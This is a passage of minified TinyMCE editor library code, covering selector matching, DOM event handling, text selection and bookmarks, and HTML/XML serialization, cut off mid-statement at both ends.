false}}if(w=="first"){return true}r=e;case"last":while(r=r.nextSibling){if(r.nodeType===1){return false}}return true;case"nth":var s=t[2],z=t[3];if(s==1&&z==0){return true}var v=t[0],y=e.parentNode;if(y&&(y.sizcache!==v||!e.nodeIndex)){var u=0;for(r=y.firstChild;r;r=r.nextSibling){if(r.nodeType===1){r.nodeIndex=++u}}y.sizcache=v}var x=e.nodeIndex-z;if(s==0){return x==0}else{return(x%s==0&&x/s>=0)}}},ID:function(r,e){return r.nodeType===1&&r.getAttribute("id")===e},TAG:function(r,e){return(e==="*"&&r.nodeType===1)||r.nodeName===e},CLASS:function(r,e){return(" "+(r.className||r.getAttribute("class"))+" ").indexOf(e)>-1},ATTR:function(v,t){var s=t[1],e=f.attrHandle[s]?f.attrHandle[s](v):v[s]!=null?v[s]:v.getAttribute(s),w=e+"",u=t[2],r=t[4];return e==null?u==="!=":u==="="?w===r:u==="*="?w.indexOf(r)>=0:u==="~="?(" "+w+" ").indexOf(r)>=0:!r?w&&e!==false:u==="!="?w!=r:u==="^="?w.indexOf(r)===0:u==="$="?w.substr(w.length-r.length)===r:u==="|="?w===r||w.substr(0,r.length+1)===r+"-":false},POS:function(u,r,s,v){var e=r[2],t=f.setFilters[e];if(t){return t(u,s,r,v)}}}};var j=f.match.POS;for(var l in f.match){f.match[l]=new RegExp(f.match[l].source+/(?![^\[]*\])(?![^\(]*\))/.source)}var a=function(r,e){r=Array.prototype.slice.call(r);if(e){e.push.apply(e,r);return e}return r};try{Array.prototype.slice.call(document.documentElement.childNodes)}catch(k){a=function(u,t){var r=t||[];if(d.call(u)==="[object Array]"){Array.prototype.push.apply(r,u)}else{if(typeof u.length==="number"){for(var s=0,e=u.length;s<e;s++){r.push(u[s])}}else{for(var s=0;u[s];s++){r.push(u[s])}}}return r}}var c;if(document.documentElement.compareDocumentPosition){c=function(r,e){var s=r.compareDocumentPosition(e)&4?-1:r===e?0:1;if(s===0){n=true}return s}}else{if("sourceIndex" in document.documentElement){c=function(r,e){var s=r.sourceIndex-e.sourceIndex;if(s===0){n=true}return s}}else{if(document.createRange){c=function(t,r){var s=t.ownerDocument.createRange(),e=r.ownerDocument.createRange();s.setStart(t,0);s.setEnd(t,0);e.setStart(r,0);e.setEnd(r,0);var u=s.compareBoundaryPoints(Range.START_TO_END,e);if(u===0){n=true}return u}}}}(function(){var r=document.createElement("div"),s="script"+(new Date).getTime();r.innerHTML="<a name='"+s+"'/>";var e=document.documentElement;e.insertBefore(r,e.firstChild);if(!!document.getElementById(s)){f.find.ID=function(u,v,w){if(typeof v.getElementById!=="undefined"&&!w){var t=v.getElementById(u[1]);return t?t.id===u[1]||typeof t.getAttributeNode!=="undefined"&&t.getAttributeNode("id").nodeValue===u[1]?[t]:undefined:[]}};f.filter.ID=function(v,t){var u=typeof v.getAttributeNode!=="undefined"&&v.getAttributeNode("id");return v.nodeType===1&&u&&u.nodeValue===t}}e.removeChild(r)})();(function(){var e=document.createElement("div");e.appendChild(document.createComment(""));if(e.getElementsByTagName("*").length>0){f.find.TAG=function(r,v){var u=v.getElementsByTagName(r[1]);if(r[1]==="*"){var t=[];for(var s=0;u[s];s++){if(u[s].nodeType===1){t.push(u[s])}}u=t}return u}}e.innerHTML="<a href='#'></a>";if(e.firstChild&&typeof e.firstChild.getAttribute!=="undefined"&&e.firstChild.getAttribute("href")!=="#"){f.attrHandle.href=function(r){return r.getAttribute("href",2)}}})();if(document.querySelectorAll){(function(){var e=b,s=document.createElement("div");s.innerHTML="<p class='TEST'></p>";if(s.querySelectorAll&&s.querySelectorAll(".TEST").length===0){return}b=function(w,v,t,u){v=v||document;if(!u&&v.nodeType===9&&!o(v)){try{return a(v.querySelectorAll(w),t)}catch(x){}}return e(w,v,t,u)};for(var r in e){b[r]=e[r]}})()}if(document.getElementsByClassName&&document.documentElement.getElementsByClassName){(function(){var e=document.createElement("div");e.innerHTML="<div class='test e'></div><div class='test'></div>";if(e.getElementsByClassName("e").length===0){return}e.lastChild.className="e";if(e.getElementsByClassName("e").length===1){return}f.order.splice(1,0,"CLASS");f.find.CLASS=function(r,s,t){if(typeof s.getElementsByClassName!=="undefined"&&!t){return s.getElementsByClassName(r[1])}}})()}function m(r,w,v,A,x,z){var y=r=="previousSibling"&&!z;for(var t=0,s=A.length;t<s;t++){var e=A[t];if(e){if(y&&e.nodeType===1){e.sizcache=v;e.sizset=t}e=e[r];var u=false;while(e){if(e.sizcache===v){u=A[e.sizset];break}if(e.nodeType===1&&!z){e.sizcache=v;e.sizset=t}if(e.nodeName===w){u=e;break}e=e[r]}A[t]=u}}}function q(r,w,v,A,x,z){var y=r=="previousSibling"&&!z;for(var t=0,s=A.length;t<s;t++){var e=A[t];if(e){if(y&&e.nodeType===1){e.sizcache=v;e.sizset=t}e=e[r];var u=false;while(e){if(e.sizcache===v){u=A[e.sizset];break}if(e.nodeType===1){if(!z){e.sizcache=v;e.sizset=t}if(typeof w!=="string"){if(e===w){u=true;break}}else{if(b.filter(w,[e]).length>0){u=e;break}}}e=e[r]}A[t]=u}}}var h=document.compareDocumentPosition?function(r,e){return r.compareDocumentPosition(e)&16}:function(r,e){return r!==e&&(r.contains?r.contains(e):true)};var o=function(e){return e.nodeType===9&&e.documentElement.nodeName!=="HTML"||!!e.ownerDocument&&e.ownerDocument.documentElement.nodeName!=="HTML"};var g=function(e,x){var t=[],u="",v,s=x.nodeType?[x]:x;while((v=f.match.PSEUDO.exec(e))){u+=v[0];e=e.replace(f.match.PSEUDO,"")}e=f.relative[e]?e+"*":e;for(var w=0,r=s.length;w<r;w++){b(e,s[w],t)}return b.filter(u,t)};window.tinymce.dom.Sizzle=b})();(function(d){var f=d.each,c=d.DOM,b=d.isIE,e=d.isWebKit,a;d.create("tinymce.dom.EventUtils",{EventUtils:function(){this.inits=[];this.events=[]},add:function(m,p,l,j){var g,h=this,i=h.events,k;if(p instanceof Array){k=[];f(p,function(o){k.push(h.add(m,o,l,j))});return k}if(m&&m.hasOwnProperty&&m instanceof Array){k=[];f(m,function(n){n=c.get(n);k.push(h.add(n,p,l,j))});return k}m=c.get(m);if(!m){return}g=function(n){if(h.disabled){return}n=n||window.event;if(n&&b){if(!n.target){n.target=n.srcElement}if(!n.preventDefault){n.preventDefault=function(){n.returnValue=false}}if(!n.stopPropagation){n.stopPropagation=function(){n.cancelBubble=true}}}if(!j){return l(n)}return l.call(j,n)};if(p=="unload"){d.unloads.unshift({func:g});return g}if(p=="init"){if(h.domLoaded){g()}else{h.inits.push(g)}return g}i.push({obj:m,name:p,func:l,cfunc:g,scope:j});h._add(m,p,g);return l},remove:function(l,m,k){var h=this,g=h.events,i=false,j;if(l&&l.hasOwnProperty&&l instanceof Array){j=[];f(l,function(n){n=c.get(n);j.push(h.remove(n,m,k))});return j}l=c.get(l);f(g,function(o,n){if(o.obj==l&&o.name==m&&(!k||(o.func==k||o.cfunc==k))){g.splice(n,1);h._remove(l,m,o.cfunc);i=true;return false}});return i},clear:function(l){var j=this,g=j.events,h,k;if(l){l=c.get(l);for(h=g.length-1;h>=0;h--){k=g[h];if(k.obj===l){j._remove(k.obj,k.name,k.cfunc);k.obj=k.cfunc=null;g.splice(h,1)}}}},cancel:function(g){if(!g){return false}this.stop(g);return this.prevent(g)},stop:function(g){if(g.stopPropagation){g.stopPropagation()}else{g.cancelBubble=true}return false},prevent:function(g){if(g.preventDefault){g.preventDefault()}else{g.returnValue=false}return false},destroy:function(){var g=this;f(g.events,function(j,h){g._remove(j.obj,j.name,j.cfunc);j.obj=j.cfunc=null});g.events=[];g=null},_add:function(h,i,g){if(h.attachEvent){h.attachEvent("on"+i,g)}else{if(h.addEventListener){h.addEventListener(i,g,false)}else{h["on"+i]=g}}},_remove:function(i,j,h){if(i){try{if(i.detachEvent){i.detachEvent("on"+j,h)}else{if(i.removeEventListener){i.removeEventListener(j,h,false)}else{i["on"+j]=null}}}catch(g){}}},_pageInit:function(h){var g=this;if(g.domLoaded){return}g.domLoaded=true;f(g.inits,function(i){i()});g.inits=[]},_wait:function(i){var g=this,h=i.document;if(i.tinyMCE_GZ&&tinyMCE_GZ.loaded){g.domLoaded=1;return}if(h.attachEvent){h.attachEvent("onreadystatechange",function(){if(h.readyState==="complete"){h.detachEvent("onreadystatechange",arguments.callee);g._pageInit(i)}});if(h.documentElement.doScroll&&i==i.top){(function(){if(g.domLoaded){return}try{h.documentElement.doScroll("left")}catch(j){setTimeout(arguments.callee,0);return}g._pageInit(i)})()}}else{if(h.addEventListener){g._add(i,"DOMContentLoaded",function(){g._pageInit(i)})}}g._add(i,"load",function(){g._pageInit(i)})}});a=d.dom.Event=new d.dom.EventUtils();a._wait(window);d.addUnload(function(){a.destroy()})})(tinymce);(function(a){var b=a.each;a.create("tinymce.dom.Element",{Element:function(g,e){var c=this,f,d;e=e||{};c.id=g;c.dom=f=e.dom||a.DOM;c.settings=e;if(!a.isIE){d=c.dom.get(c.id)}b(["getPos","getRect","getParent","add","setStyle","getStyle","setStyles","setAttrib","setAttribs","getAttrib","addClass","removeClass","hasClass","getOuterHTML","setOuterHTML","remove","show","hide","isHidden","setHTML","get"],function(h){c[h]=function(){var j=[g],k;for(k=0;k<arguments.length;k++){j.push(arguments[k])}j=f[h].apply(f,j);c.update(h);return j}})},on:function(e,d,c){return a.dom.Event.add(this.id,e,d,c)},getXY:function(){return{x:parseInt(this.getStyle("left")),y:parseInt(this.getStyle("top"))}},getSize:function(){var c=this.dom.get(this.id);return{w:parseInt(this.getStyle("width")||c.clientWidth),h:parseInt(this.getStyle("height")||c.clientHeight)}},moveTo:function(c,d){this.setStyles({left:c,top:d})},moveBy:function(c,e){var d=this.getXY();this.moveTo(d.x+c,d.y+e)},resizeTo:function(c,d){this.setStyles({width:c,height:d})},resizeBy:function(c,e){var d=this.getSize();this.resizeTo(d.w+c,d.h+e)},update:function(d){var e=this,c,f=e.dom;if(a.isIE6&&e.settings.blocker){d=d||"";if(d.indexOf("get")===0||d.indexOf("has")===0||d.indexOf("is")===0){return}if(d=="remove"){f.remove(e.blocker);return}if(!e.blocker){e.blocker=f.uniqueId();c=f.add(e.settings.container||f.getRoot(),"iframe",{id:e.blocker,style:"position:absolute;",frameBorder:0,src:'javascript:""'});f.setStyle(c,"opacity",0)}else{c=f.get(e.blocker)}f.setStyle(c,"left",e.getStyle("left",1));f.setStyle(c,"top",e.getStyle("top",1));f.setStyle(c,"width",e.getStyle("width",1));f.setStyle(c,"height",e.getStyle("height",1));f.setStyle(c,"display",e.getStyle("display",1));f.setStyle(c,"zIndex",parseInt(e.getStyle("zIndex",1)||0)-1)}}})})(tinymce);(function(c){function e(f){return f.replace(/[\n\r]+/g,"")}var b=c.is,a=c.isIE,d=c.each;c.create("tinymce.dom.Selection",{Selection:function(i,h,g){var f=this;f.dom=i;f.win=h;f.serializer=g;d(["onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent"],function(j){f[j]=new c.util.Dispatcher(f)});if(!f.win.getSelection){f.tridentSel=new c.dom.TridentSelection(f)}c.addUnload(f.destroy,f)},getContent:function(g){var f=this,h=f.getRng(),l=f.dom.create("body"),j=f.getSel(),i,k,m;g=g||{};i=k="";g.get=true;g.format=g.format||"html";f.onBeforeGetContent.dispatch(f,g);if(g.format=="text"){return f.isCollapsed()?"":(h.text||(j.toString?j.toString():""))}if(h.cloneContents){m=h.cloneContents();if(m){l.appendChild(m)}}else{if(b(h.item)||b(h.htmlText)){l.innerHTML=h.item?h.item(0).outerHTML:h.htmlText}else{l.innerHTML=h.toString()}}if(/^\s/.test(l.innerHTML)){i=" "}if(/\s+$/.test(l.innerHTML)){k=" "}g.getInner=true;g.content=f.isCollapsed()?"":i+f.serializer.serialize(l,g)+k;f.onGetContent.dispatch(f,g);return g.content},setContent:function(i,g){var f=this,j=f.getRng(),l,k=f.win.document;g=g||{format:"html"};g.set=true;i=g.content=f.dom.processHTML(i);f.onBeforeSetContent.dispatch(f,g);i=g.content;if(j.insertNode){i+='<span id="__caret">_</span>';j.deleteContents();j.insertNode(f.getRng().createContextualFragment(i));l=f.dom.get("__caret");j=k.createRange();j.setStartBefore(l);j.setEndAfter(l);f.setRng(j);f.dom.remove("__caret")}else{if(j.item){k.execCommand("Delete",false,null);j=f.getRng()}j.pasteHTML(i)}f.onSetContent.dispatch(f,g)},getStart:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(1);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.firstChild}return h}else{h=g.startContainer;if(h.nodeName=="BODY"){return h.firstChild}return f.dom.getParent(h,"*")}},getEnd:function(){var f=this,g=f.getRng(),h;if(a){if(g.item){return g.item(0)}g=g.duplicate();g.collapse(0);h=g.parentElement();if(h&&h.nodeName=="BODY"){return h.lastChild}return h}else{h=g.endContainer;if(h.nodeName=="BODY"){return h.lastChild}return f.dom.getParent(h,"*")}},getBookmark:function(x){var j=this,m=j.getRng(),f,n,l,u=j.dom.getViewPort(j.win),v,p,z,o,w=-16777215,k,h=j.dom.getRoot(),g=0,i=0,y;n=u.x;l=u.y;if(x=="simple"){return{rng:m,scrollX:n,scrollY:l}}if(a){if(m.item){v=m.item(0);d(j.dom.select(v.nodeName),function(s,r){if(v==s){p=r;return false}});return{tag:v.nodeName,index:p,scrollX:n,scrollY:l}}f=j.dom.doc.body.createTextRange();f.moveToElementText(h);f.collapse(true);z=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(true);p=Math.abs(f.move("character",w));f=m.duplicate();f.collapse(false);o=Math.abs(f.move("character",w))-p;return{start:p-z,length:o,scrollX:n,scrollY:l}}v=j.getNode();k=j.getSel();if(!k){return null}if(v&&v.nodeName=="IMG"){return{scrollX:n,scrollY:l}}function q(A,D,t){var s=j.dom.doc.createTreeWalker(A,NodeFilter.SHOW_TEXT,null,false),E,B=0,C={};while((E=s.nextNode())!=null){if(E==D){C.start=B}if(E==t){C.end=B;return C}B+=e(E.nodeValue||"").length}return null}if(k.anchorNode==k.focusNode&&k.anchorOffset==k.focusOffset){v=q(h,k.anchorNode,k.focusNode);if(!v){return{scrollX:n,scrollY:l}}e(k.anchorNode.nodeValue||"").replace(/^\s+/,function(r){g=r.length});return{start:Math.max(v.start+k.anchorOffset-g,0),end:Math.max(v.end+k.focusOffset-g,0),scrollX:n,scrollY:l,beg:k.anchorOffset-g==0}}else{v=q(h,m.startContainer,m.endContainer);if(!v){return{scrollX:n,scrollY:l}}return{start:Math.max(v.start+m.startOffset-g,0),end:Math.max(v.end+m.endOffset-i,0),scrollX:n,scrollY:l,beg:m.startOffset-g==0}}},moveToBookmark:function(n){var o=this,g=o.getRng(),p=o.getSel(),j=o.dom.getRoot(),m,h,k;function i(q,t,D){var B=o.dom.doc.createTreeWalker(q,NodeFilter.SHOW_TEXT,null,false),x,s=0,A={},u,C,z,y;while((x=B.nextNode())!=null){z=y=0;k=x.nodeValue||"";h=e(k).length;s+=h;if(s>=t&&!A.startNode){u=t-(s-h);if(n.beg&&u>=h){continue}A.startNode=x;A.startOffset=u+y}if(s>=D){A.endNode=x;A.endOffset=D-(s-h)+y;return A}}return null}if(!n){return false}o.win.scrollTo(n.scrollX,n.scrollY);if(a){if(g=n.rng){try{g.select()}catch(l){}return true}o.win.focus();if(n.tag){g=j.createControlRange();d(o.dom.select(n.tag),function(r,q){if(q==n.index){g.addElement(r)}})}else{try{if(n.start<0){return true}g=p.createRange();g.moveToElementText(j);g.collapse(true);g.moveStart("character",n.start);g.moveEnd("character",n.length)}catch(f){return true}}try{g.select()}catch(l){}return true}if(!p){return false}if(n.rng){p.removeAllRanges();p.addRange(n.rng)}else{if(b(n.start)&&b(n.end)){try{m=i(j,n.start,n.end);if(m){g=o.dom.doc.createRange();g.setStart(m.startNode,m.startOffset);g.setEnd(m.endNode,m.endOffset);p.removeAllRanges();p.addRange(g)}if(!c.isOpera){o.win.focus()}}catch(l){}}}},select:function(g,l){var p=this,f=p.getRng(),q=p.getSel(),o,m,k,j=p.win.document;function h(u,t){var s,r;if(u){s=j.createTreeWalker(u,NodeFilter.SHOW_TEXT,null,false);while(u=s.nextNode()){r=u;if(c.trim(u.nodeValue).length!=0){if(t){return u}else{r=u}}}}return r}if(a){try{o=j.body;if(/^(IMG|TABLE)$/.test(g.nodeName)){f=o.createControlRange();f.addElement(g)}else{f=o.createTextRange();f.moveToElementText(g)}f.select()}catch(i){}}else{if(l){m=h(g,1)||p.dom.select("br:first",g)[0];k=h(g,0)||p.dom.select("br:last",g)[0];if(m&&k){f=j.createRange();if(m.nodeName=="BR"){f.setStartBefore(m)}else{f.setStart(m,0)}if(k.nodeName=="BR"){f.setEndBefore(k)}else{f.setEnd(k,k.nodeValue.length)}}else{f.selectNode(g)}}else{f.selectNode(g)}p.setRng(f)}return g},isCollapsed:function(){var f=this,h=f.getRng(),g=f.getSel();if(!h||h.item){return false}return !g||h.boundingWidth==0||h.collapsed},collapse:function(f){var g=this,h=g.getRng(),i;if(h.item){i=h.item(0);h=this.win.document.body.createTextRange();h.moveToElementText(i)}h.collapse(!!f);g.setRng(h)},getSel:function(){var g=this,f=this.win;return f.getSelection?f.getSelection():f.document.selection},getRng:function(j){var g=this,h,i;if(j&&g.tridentSel){return g.tridentSel.getRangeAt(0)}try{if(h=g.getSel()){i=h.rangeCount>0?h.getRangeAt(0):(h.createRange?h.createRange():g.win.document.createRange())}}catch(f){}if(!i){i=a?g.win.document.body.createTextRange():g.win.document.createRange()}return i},setRng:function(i){var h,g=this;if(!g.tridentSel){h=g.getSel();if(h){h.removeAllRanges();h.addRange(i)}}else{if(i.cloneRange){g.tridentSel.addRange(i);return}try{i.select()}catch(f){}}},setNode:function(g){var f=this;f.setContent(f.dom.getOuterHTML(g));return g},getNode:function(){var f=this,h=f.getRng(),g=f.getSel(),i;if(!a){if(!h){return f.dom.getRoot()}i=h.commonAncestorContainer;if(!h.collapsed){if(c.isWebKit&&g.anchorNode&&g.anchorNode.nodeType==1){return g.anchorNode.childNodes[g.anchorOffset]}if(h.startContainer==h.endContainer){if(h.startOffset-h.endOffset<2){if(h.startContainer.hasChildNodes()){i=h.startContainer.childNodes[h.startOffset]}}}}return f.dom.getParent(i,"*")}return h.item?h.item(0):h.parentElement()},getSelectedBlocks:function(g,f){var i=this,j=i.dom,m,h,l,k=[];m=j.getParent(g||i.getStart(),j.isBlock);h=j.getParent(f||i.getEnd(),j.isBlock);if(m){k.push(m)}if(m&&h&&m!=h){l=m;while((l=l.nextSibling)&&l!=h){if(j.isBlock(l)){k.push(l)}}}if(h&&m!=h){k.push(h)}return k},destroy:function(g){var f=this;f.win=null;if(f.tridentSel){f.tridentSel.destroy()}if(!g){c.removeUnload(f.destroy)}}})})(tinymce);(function(a){a.create("tinymce.dom.XMLWriter",{node:null,XMLWriter:function(c){function b(){var e=document.implementation;if(!e||!e.createDocument){try{return new ActiveXObject("MSXML2.DOMDocument")}catch(d){}try{return new ActiveXObject("Microsoft.XmlDom")}catch(d){}}else{return e.createDocument("","",null)}}this.doc=b();this.valid=a.isOpera||a.isWebKit;this.reset()},reset:function(){var b=this,c=b.doc;if(c.firstChild){c.removeChild(c.firstChild)}b.node=c.appendChild(c.createElement("html"))},writeStartElement:function(c){var b=this;b.node=b.node.appendChild(b.doc.createElement(c))},writeAttribute:function(c,b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.setAttribute(c,b)},writeEndElement:function(){this.node=this.node.parentNode},writeFullEndElement:function(){var b=this,c=b.node;c.appendChild(b.doc.createTextNode(""));b.node=c.parentNode},writeText:function(b){if(this.valid){b=b.replace(/>/g,"%MCGT%")}this.node.appendChild(this.doc.createTextNode(b))},writeCDATA:function(b){this.node.appendChild(this.doc.createCDATASection(b))},writeComment:function(b){if(a.isIE){b=b.replace(/^\-|\-$/g," ")}this.node.appendChild(this.doc.createComment(b.replace(/\-\-/g," ")))},getContent:function(){var b;b=this.doc.xml||new XMLSerializer().serializeToString(this.doc);b=b.replace(/<\?[^?]+\?>|<html>|<\/html>|<html\/>|<!DOCTYPE[^>]+>/g,"");b=b.replace(/ ?\/>/g," />");if(this.valid){b=b.replace(/\%MCGT%/g,"&gt;")}return b}})})(tinymce);(function(a){a.create("tinymce.dom.StringWriter",{str:null,tags:null,count:0,settings:null,indent:null,StringWriter:function(b){this.settings=a.extend({indent_char:" ",indentation:0},b);this.reset()},reset:function(){this.indent="";this.str="";this.tags=[];this.count=0},writeStartElement:function(b){this._writeAttributesEnd();this.writeRaw("<"+b);this.tags.push(b);this.inAttr=true;this.count++;this.elementCount=this.count},writeAttribute:function(d,b){var c=this;c.writeRaw(" "+c.encode(d)+'="'+c.encode(b)+'"')},writeEndElement:function(){var b;if(this.tags.length>0){b=this.tags.pop();if(this._writeAttributesEnd(1)){this.writeRaw("</"+b+">")}if(this.settings.indentation>0){this.writeRaw("\n")}}},writeFullEndElement:function(){if(this.tags.length>0){this._writeAttributesEnd();this.writeRaw("</"+this.tags.pop()+">");if(this.settings.indentation>0){this.writeRaw("\n")}}},writeText:function(b){this._writeAttributesEnd();this.writeRaw(this.encode(b));this.count++},writeCDATA:function(b){this._writeAttributesEnd();this.writeRaw("<![CDATA["+b+"]]>");this.count++},writeComment:function(b){this._writeAttributesEnd();this.writeRaw("<!-- "+b+"-->");this.count++},writeRaw:function(b){this.str+=b},encode:function(b){return b.replace(/[<>&"]/g,function(c){switch(c){case"<":return"&lt;";case">":return"&gt;";case"&":return"&amp;";case'"':return"&quot;"}return c})},getContent:function(){return this.str},_writeAttributesEnd:function(b){if(!this.inAttr){return}this.inAttr=false;if(b&&this.elementCount==this.count){this.writeRaw(" />");return false}this.writeRaw(">");return true}})})(tinymce);(function(e){var g=e.extend,f=e.each,b=e.util.Dispatcher,d=e.isIE,a=e.isGecko;function c(h){return h.replace(/([?+*])/g,".$1")}e.create("tinymce.dom.Serializer",{Serializer:function(j){var i=this;i.key=0;i.onPreProcess=new b(i);i.onPostProcess=new b(i);try{i.writer=new e.dom.XMLWriter()}catch(h){i.writer=new e.dom.StringWriter()}i.settings=j=g({dom:e.DOM,valid_nodes:0,node_filter:0,attr_filter:0,invalid_attrs:/^(mce_|_moz_)/,closed:/^(br|hr|input|meta|img|link|param|area)$/,entity_encoding:"named",entities:"160,nbsp,161,iexcl,162,cent,163,pound,164,curren,165,yen,166,brvbar,167,sect,168,uml,169,copy,170,ordf,171,laquo,172,not,173,shy,174,reg,175,macr,176,deg,177,plusmn,178,sup2,179,sup3,180,acute,181,micro,182,para,183,middot,184,cedil,185,sup1,186,ordm,187,raquo,188,frac14,189,frac12,190,frac34,191,iquest,192,Agrave,193,Aacute,194,Acirc,195,Atilde,196,Auml,197,Aring,198,AElig,199,Ccedil,200,Egrave,201,Eacute,202,Ecirc,203,Euml,204,Igrave,205,Iacute,206,Icirc,207,Iuml,208,ETH,209,Ntilde,210,Ograve,211,Oacute,212,Ocirc,213,Otilde,214,Ouml,215,times,216,Oslash,217,Ugrave,218,Uacute,219,Ucirc,220,Uuml,221,Yacute,222,THORN,223,szlig,224,agrave,225,aacute,226,acirc,227,atilde,228,auml,229,aring,230,aelig,231,ccedil,232,egrave,233,eacute,234,ecirc,235,euml,236,igrave,237,iacute,238,icirc,239,iuml,240,eth,241,ntilde,242,ograve,243,oacute,244,ocirc,245,otilde,246,ouml,247,divide,248,oslash,249,ugrave,250,uacute,251,ucirc,252,uuml,253,yacute,254,thorn,255,yuml,402,fnof,913,Alpha,914,Beta,915,Gamma,916,Delta,917,Epsilon,918,Zeta,919,Eta,920,Theta,921,Iota,922,Kappa,923,Lambda,924,Mu,925,Nu,926,Xi,927,Omicron,928,Pi,929,Rho,931,Sigma,932,Tau,933,Upsilon,934,Phi,935,Chi,936,Psi,937,Omega,945,alpha,946,beta,947,gamma,948,delta,949,epsilon,950,zeta,951,eta,952,theta,953,iota,954,kappa,955,lambda,956,mu,957,nu,958,xi,959,omicron,960,pi,961,rho,962,sigmaf,963,sigma,964,tau,965,upsilon,966,phi,967,chi,968,psi,969,omega,977,thetasym,978,upsih,982,piv,8226,bull,8230,hellip,8242,prime,8243,Prime,8254,oline,8260,frasl,8472,weierp,8465,image,8476,real,8482,trade,8501,alefsym,8592,larr,8593,uarr,8594,rarr,8595,darr,8596,harr,8629,crarr,8656,lArr,8657,uArr,8658,rArr,8659,dArr,8660,hArr,8704,forall,8706,part,8707,exist,8709,empty,8711,nabla,8712,isin,8713,notin,8715,ni,8719,prod,8721,sum,8722,minus,8727,lowast,8730,radic,8733,prop,8734,infin,8736,ang,8743,and,8744,or,8745,cap,8746,cup,8747,int,8756,there4,8764,sim,8773,cong,8776,asymp,8800,ne,8801,equiv,8804,le,8805,ge,8834,sub,8835,sup,8836,nsub,8838,sube,8839,supe,8853,oplus,8855,otimes,8869,perp,8901,sdot,8968,lceil,8969,rceil,8970,lfloor,8971,rfloor,9001,lang,9002,rang,9674,loz,9824,spades,9827,clubs,9829,hearts,9830,diams,338,OElig,339,oelig,352,Scaron,353,scaron,376,Yuml,710,circ,732,tilde,8194,ensp,8195,emsp,8201,thinsp,8204,zwnj,8205,zwj,8206,lrm,8207,rlm,8211,ndash,8212,mdash,8216,lsquo,8217,rsquo,8218,sbquo,8220,ldquo,8221,rdquo,8222,bdquo,8224,dagger,8225,Dagger,8240,permil,8249,lsaquo,8250,rsaquo,8364,euro",bool_attrs:/(checked|disabled|readonly|selected|nowrap)/,valid_elements:"*[*]",extended_valid_elements:0,valid_child_elements:0,invalid_elements:0,fix_table_elements:1,fix_list_elements:true,fix_content_duplication:true,convert_fonts_to_spans:false,font_size_classes:0,font_size_style_values:0,apply_source_formatting:0,indent_mode:"simple",indent_char:"\t",indent_levels:1,remove_linebreaks:1,remove_redundant_brs:1,element_format:"xhtml"},j);i.dom=j.dom;if(j.remove_redundant_brs){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/(<br \/>\s*)+<\/(p|h[1-6]|div|li)>/gi,function(n,m,o){if(/^<br \/>\s*<\//.test(n)){return"</"+o+">"}return n})})}if(j.element_format=="html"){i.onPostProcess.add(function(k,l){l.content=l.content.replace(/<([^>]+) \/>/g,"<$1>")})}if(j.fix_list_elements){i.onPreProcess.add(function(v,s){var l,y,w=["ol","ul"],u,t,q,k=/^(OL|UL)$/,z;function m(r,x){var o=x.split(","),p;while((r=r.previousSibling)!=null){for(p=0;p<o.length;p++){if(r.nodeName==o[p]){return r}}}return null}for(y=0;y<w.length;y++){l=i.dom.select(w[y],s.node);for(u=0;u<l.length;u++){t=l[u];q=t.parentNode;if(k.test(q.nodeName)){z=m(t,"LI");if(!z){z=i.dom.create("li");z.innerHTML="&nbsp;";z.appendChild(t);q.insertBefore(z,q.firstChild)}else{z.appendChild(t)}}}}})}if(j.fix_table_elements){i.onPreProcess.add(function(k,l){f(i.dom.select("p table",l.node),function(m){i.dom.split(i.dom.getParent(m,"p"),m)})})}},setEntities:function(p){var n=this,j,m,h={},o="",k;if(n.entityLookup){return}j=p.split(",");for(m=0;m<j.length;m+=2){k=j[m];if(k==34||k==38||k==60||k==62){continue}h[String.fromCharCode(j[m])]=j[m+1];k=parseInt(j[m]).toString(16);o+="\\u"+"0000".substring(k.length)+k}if(!o){n.settings.entity_encoding="raw";return}n.entitiesRE=new RegExp("["+o+"]","g");n.entityLookup=h},setValidChildRules:function(h){this.childRules=null;this.addValidChildRules(h)},addValidChildRules:function(k){var j=this,l,h,i;if(!k){return}l="A|BR|SPAN|BDO|MAP|OBJECT|IMG|TT|I|B|BIG|SMALL|EM|STRONG|DFN|CODE|Q|SAMP|KBD|VAR|CITE|ABBR|ACRONYM|SUB|SUP|#text|#comment";h="A|BR|SPAN|BDO|OBJECT|APPLET|IMG|MAP|IFRAME|TT|I|B|U|S|STRIKE|BIG|SMALL|FONT|BASEFONT|EM|STRONG|DFN|CODE|Q|SAMP|KBD|VAR|CITE|ABBR|ACRONYM|SUB|SUP|INPUT|SELECT|TEXTAREA|LABEL|BUTTON|#text|#comment";i="H[1-6]|P|DIV|ADDRESS|PRE|FORM|TABLE|LI|OL|UL|TD|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|FORM|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP";f(k.split(","),function(n){var o=n.split(/\[|\]/),m;n="";f(o[1].split("|"),function(p){if(n){n+="|"}switch(p){case"%itrans":p=h;break;case"%itrans_na":p=h.substring(2);break;case"%istrict":p=l;break;case"%istrict_na":p=l.substring(2);break;case"%btrans":p=i;break;case"%bstrict":p=i;break}n+=p});m=new RegExp("^("+n.toLowerCase()+")$","i");f(o[0].split("/"),function(p){j.childRules=j.childRules||{};j.childRules[p]=m})});k="";f(j.childRules,function(n,m){if(k){k+="|"}k+=m});j.parentElementsRE=new RegExp("^("+k.toLowerCase()+")$","i")},setRules:function(i){var h=this;h._setup();h.rules={};h.wildRules=[];h.validElements={};return h.addRules(i)},addRules:function(i){var h=this,j;if(!i){return}h._setup();f(i.split(","),function(m){var q=m.split(/\[|\]/),l=q[0].split("/"),r,k,o,n=[];if(j){k=e.extend([],j.attribs)}if(q.length>1){f(q[1].split("|"),function(u){var p={},t;k=k||[];u=u.replace(/::/g,"~");u=/^([!\-])?([\w*.?~_\-]+|)([=:<])?(.+)?$/.exec(u);u[2]=u[2].replace(/~/g,":");if(u[1]=="!"){r=r||[];r.push(u[2])}if(u[1]=="-"){for(t=0;t<k.length;t++){if(k[t].name==u[2]){k.splice(t,1);return}}}switch(u[3]){case"=":p.defaultVal=u[4]||"";break;case":":p.forcedVal=u[4];break;case"<":p.validVals=u[4].split("?");break}if(/[*.?]/.test(u[2])){o=o||[];p.nameRE=new 